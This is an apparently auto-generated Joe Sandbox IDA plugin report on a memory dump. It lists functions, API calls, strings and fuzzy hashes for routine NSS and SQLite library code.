Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: ee85ad18e7986a3d4343011ad724254afdde767618fef9a43042f3fda93c2b04
Instruction ID: 512258c5e6413dcf94a3ca00377910374524e454ef25bbcff07e3c7862a06f97
Opcode Fuzzy Hash: ee85ad18e7986a3d4343011ad724254afdde767618fef9a43042f3fda93c2b04
Instruction Fuzzy Hash: 77315470E041198BEB009B69CC40EABB7BBFF86348F200526D82593A11E7619D07C79E

Function 6C604E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C604E90
EnterCriticalSection.KERNEL32 ref: 6C604EA9
TlsGetValue.KERNEL32 ref: 6C604EC6
EnterCriticalSection.KERNEL32 ref: 6C604EDF
PL_HashTableLookup.NSS3 ref: 6C604EF8
PR_Unlock.NSS3 ref: 6C604F05
PR_Now.NSS3 ref: 6C604F13
PR_Unlock.NSS3 ref: 6C604F3A

Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07AD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07CD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07D6
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C56204A), ref: 6C5D07E4
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,6C56204A), ref: 6C5D0864
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5D0880
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C56204A), ref: 6C5D08CB
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08D7
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08FB

Strings

bU`l, xrefs: 6C604E5C
bU`l, xrefs: 6C604F3F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU`l$bU`l
API String ID: 326028414-2470108969
Opcode ID: 77efbbfafb5c94c742a3291d7426dc9b72908115e9dd005a60c05b2cd4dccd7a
Instruction ID: 57d1f669533ce33c40bcd3d317075c82e44a825689d5a49293123f500dc9e0db
Opcode Fuzzy Hash: 77efbbfafb5c94c742a3291d7426dc9b72908115e9dd005a60c05b2cd4dccd7a
Instruction Fuzzy Hash: 6F415BB4A00605DFCB14EF78C5848AABBF0FF89305B018669EC599B711EB30EC95CB95

Function 6C62ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C62DE64), ref: 6C62ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62ED22

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

PL_FreeArenaPool.NSS3(?), ref: 6C62ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C62ED6B
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C62ED38

Part of subcall function 6C564C70: TlsGetValue.KERNEL32(?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564C97
Part of subcall function 6C564C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CB0
Part of subcall function 6C564C70: PR_Unlock.NSS3(?,?,?,?,?,6C563921,6C7414E4,6C6ACC70), ref: 6C564CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C62ED52
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C62ED83
PL_FreeArenaPool.NSS3(?), ref: 6C62ED95
PL_FinishArenaPool.NSS3(?), ref: 6C62ED9D

Part of subcall function 6C6464F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C64127C,00000000,00000000,00000000), ref: 6C64650E

Strings

security, xrefs: 6C62ED06

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 259679e4279b1579277ca32592caa1dab068ddb76c8dcbd596cbce3af5a646db
Instruction ID: 6295d26887159d2b9bad183a9f43136f1e8d5466a6e18dd4599fb1a1f37c7b20
Opcode Fuzzy Hash: 259679e4279b1579277ca32592caa1dab068ddb76c8dcbd596cbce3af5a646db
Instruction Fuzzy Hash: 5A11277690021467EB109735AC44BBB72B8AF4270DF04C935EC44A6F41F729A61C8AEF

Function 6C6F0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C5D2357), ref: 6C6F0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C5D2357), ref: 6C6F0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C6F0EE6

Part of subcall function 6C6F09D0: PR_Now.NSS3 ref: 6C6F0A22
Part of subcall function 6C6F09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C6F0A35
Part of subcall function 6C6F09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C6F0A66
Part of subcall function 6C6F09D0: PR_GetCurrentThread.NSS3 ref: 6C6F0A70
Part of subcall function 6C6F09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C6F0A9D
Part of subcall function 6C6F09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C6F0AC8
Part of subcall function 6C6F09D0: PR_vsmprintf.NSS3(?,?), ref: 6C6F0AE8
Part of subcall function 6C6F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6F0B19
Part of subcall function 6C6F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6F0B48
Part of subcall function 6C6F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6F0C76
Part of subcall function 6C6F09D0: PR_LogFlush.NSS3 ref: 6C6F0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C6F0EFA

Part of subcall function 6C5DAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C5DAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6F0F2B

Strings

Aborting, xrefs: 6C6F0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C6F0ED9, 6C6F0EE5, 6C6F0F06, 6C6F0F0B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 9e4bf295d139f15e643d80b93ecc0e15bb0ad4eafb04f6fbdcd4aef679eefcd4
Instruction ID: 2d5ae16139c90c860db59dc91cf18562dbb995b932b4d16a4a00cce99d8f37bd
Opcode Fuzzy Hash: 9e4bf295d139f15e643d80b93ecc0e15bb0ad4eafb04f6fbdcd4aef679eefcd4
Instruction Fuzzy Hash: 9AF0C8B69001247BDF123B60DC4AC9B3E3DEF82266F044034FD0D56702EA35E91496F6

Function 6C654DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C654DCB

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C654DE1

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C654DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C654E59

Part of subcall function 6C63FAB0: free.MOZGLUE(?,-00000001,?,?,6C5DF673,00000000,00000000), ref: 6C63FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C71300C,00000000), ref: 6C654EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C654EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C654F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65521A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 690dedb8400f063edccad631dc950ce9dfcf306ba9fb3e2fa367b017d6ce5268
Instruction ID: ece4154b8346f3bd64947eb70f78f5607b8749a2a693ee2b9ee38324a5f7e393
Opcode Fuzzy Hash: 690dedb8400f063edccad631dc950ce9dfcf306ba9fb3e2fa367b017d6ce5268
Instruction Fuzzy Hash: 7CF1DF71E00209CBDB04CF58D8407AEB7B2FF85318F658169E815AB780E775E9A2CF94

Function 6C5E4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C730148,?,6C5F6FEC), ref: 6C5E502A
PR_NewLock.NSS3(00000001,00000000,6C730148,?,6C5F6FEC), ref: 6C5E5034
PL_NewHashTable.NSS3(00000000,6C63FE80,6C63FD30,6C68C350,00000000,00000000,00000001,00000000,6C730148,?,6C5F6FEC), ref: 6C5E5055
PL_NewHashTable.NSS3(00000000,6C63FE80,6C63FD30,6C68C350,00000000,00000000,?,00000001,00000000,6C730148,?,6C5F6FEC), ref: 6C5E506D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 6100aaae8144192062eab0ee8843dfef0a9c9b7df3701cf9660c1607693e1ec0
Instruction ID: c3b16b1405a42df344f013b22a1df412201bc72380f9e2b762e4c1dafe583dcb
Opcode Fuzzy Hash: 6100aaae8144192062eab0ee8843dfef0a9c9b7df3701cf9660c1607693e1ec0
Instruction Fuzzy Hash: 3531E4B1B02220DBEB10AF658C4CB473BB8AB1B78DF618136EA05C7E41D3758914CBE1

Function 6C582E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C582F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C582FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C583005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5830EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C583131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C583178

Strings

%s at line %d of [%.10s], xrefs: 6C583171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C583022, 6C583156, 6C583162, 6C58318A, 6C583196, 6C5831A2, 6C5831AE, 6C5831BA, 6C5831C6
database corruption, xrefs: 6C58316C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 307b03051c868dab1b2d34dc52c47f21271bdfa04afc5724d7da1f27a7513e0c
Instruction ID: 39867c48509c1fc6c9cea6479cbb35ec46529a7061cc10ab28dbf8199ea6c012
Opcode Fuzzy Hash: 307b03051c868dab1b2d34dc52c47f21271bdfa04afc5724d7da1f27a7513e0c
Instruction Fuzzy Hash: 11B1A2B0E06229DBCB08CF9DCD85AEEBBB2BF48704F144429E845B7B41D7749941CBA4

Function 6C5D2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C5D2D69

Strings

@ol, xrefs: 6C5D2E24
ol, xrefs: 6C5D2DD0
winSeekFile, xrefs: 6C5D2E9C
winTruncate1, xrefs: 6C5D2EBE
Pol, xrefs: 6C5D2E74, 6C5D2EC5, 6C5D2F32, 6C5D2F5C
winTruncate2, xrefs: 6C5D2EF8
winUnmapfile1, xrefs: 6C5D2F55
winUnmapfile2, xrefs: 6C5D2F7F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: __allrem
String ID: @ol$Pol$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$ol
API String ID: 2933888876-619202547
Opcode ID: da4bda5e9d8aef951cb48f3d4b33e59db51cf96499be5a33243b526c62a44377
Instruction ID: 33e045dda8c5146ca7a955cce95888d414f0278eeb08c639898b0714f77b6e50
Opcode Fuzzy Hash: da4bda5e9d8aef951cb48f3d4b33e59db51cf96499be5a33243b526c62a44377
Instruction Fuzzy Hash: FE61AF71A00305DFDB04DF68DC88AAA77B1FF49318F108639E919AB790DB31AD16CB95

Function 6C657F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C657FB2

Part of subcall function 6C5DBA40: TlsGetValue.KERNEL32 ref: 6C5DBA51
Part of subcall function 6C5DBA40: TlsGetValue.KERNEL32 ref: 6C5DBA6B
Part of subcall function 6C5DBA40: EnterCriticalSection.KERNEL32 ref: 6C5DBA83
Part of subcall function 6C5DBA40: TlsGetValue.KERNEL32 ref: 6C5DBAA1
Part of subcall function 6C5DBA40: _PR_MD_UNLOCK.NSS3 ref: 6C5DBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C657FD4

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

Part of subcall function 6C659430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C659466

PR_ExitMonitor.NSS3(?), ref: 6C65801B
PR_EnterMonitor.NSS3(?), ref: 6C658034
TlsGetValue.KERNEL32 ref: 6C6580A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6580C0
PR_ExitMonitor.NSS3(?), ref: 6C65811C
PR_ExitMonitor.NSS3(?), ref: 6C658134

Strings

), xrefs: 6C6580DB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: af8f0d64c20a812003eb62bb433caba421611d16827c2519a7748ca1f502cfb9
Instruction ID: b3456cbf45e8cd26de14379694955a36e1b91dddfae6ff05f34681d94b8755e8
Opcode Fuzzy Hash: af8f0d64c20a812003eb62bb433caba421611d16827c2519a7748ca1f502cfb9
Instruction Fuzzy Hash: AC517B71A503059BE7209F34DC017EB77B0AF4A30CFA4452EDD5942E61EB31A929C79E

Function 6C5FFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C5FFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C5FFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C5FFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5FFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C5FFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C5FFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C5FFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FFD84

Strings

:, xrefs: 6C5FFD78

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 6f8baa830cd7f171984f5d2a74bb980cf31d98ae9d039884b49daa322af8a1cb
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 5031E2B29002159BEB048AA4DC017AF77E9AF51318F150634DC24E7F00E772E90ACBE6

Function 6C5E0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5E0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5E0F84

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C5FF59B,6C70890C,?), ref: 6C5E0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C5E0FC1

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C5E0FDB
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C5E0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C5E1001
PL_FinishArenaPool.NSS3(?), ref: 6C5E1009

Strings

security, xrefs: 6C5E0F5C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 221bb70aeeade475fdca0ca702c5e701a29a0c55470fc698ac472a7ced1ea7a7
Instruction ID: 2aaf196bfae8709c7d4d0b91d0a94f9fa1b218dbfd73e54a0de46958f91fc564
Opcode Fuzzy Hash: 221bb70aeeade475fdca0ca702c5e701a29a0c55470fc698ac472a7ced1ea7a7
Instruction Fuzzy Hash: 4721F2B1904204ABE7009F24DD40AAB7BB4EF8965CF04C529FC1896601FB31DA56CBD6

Function 6C5E6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C5E7D8F,6C5E7D8F,?,?), ref: 6C5E6DC8

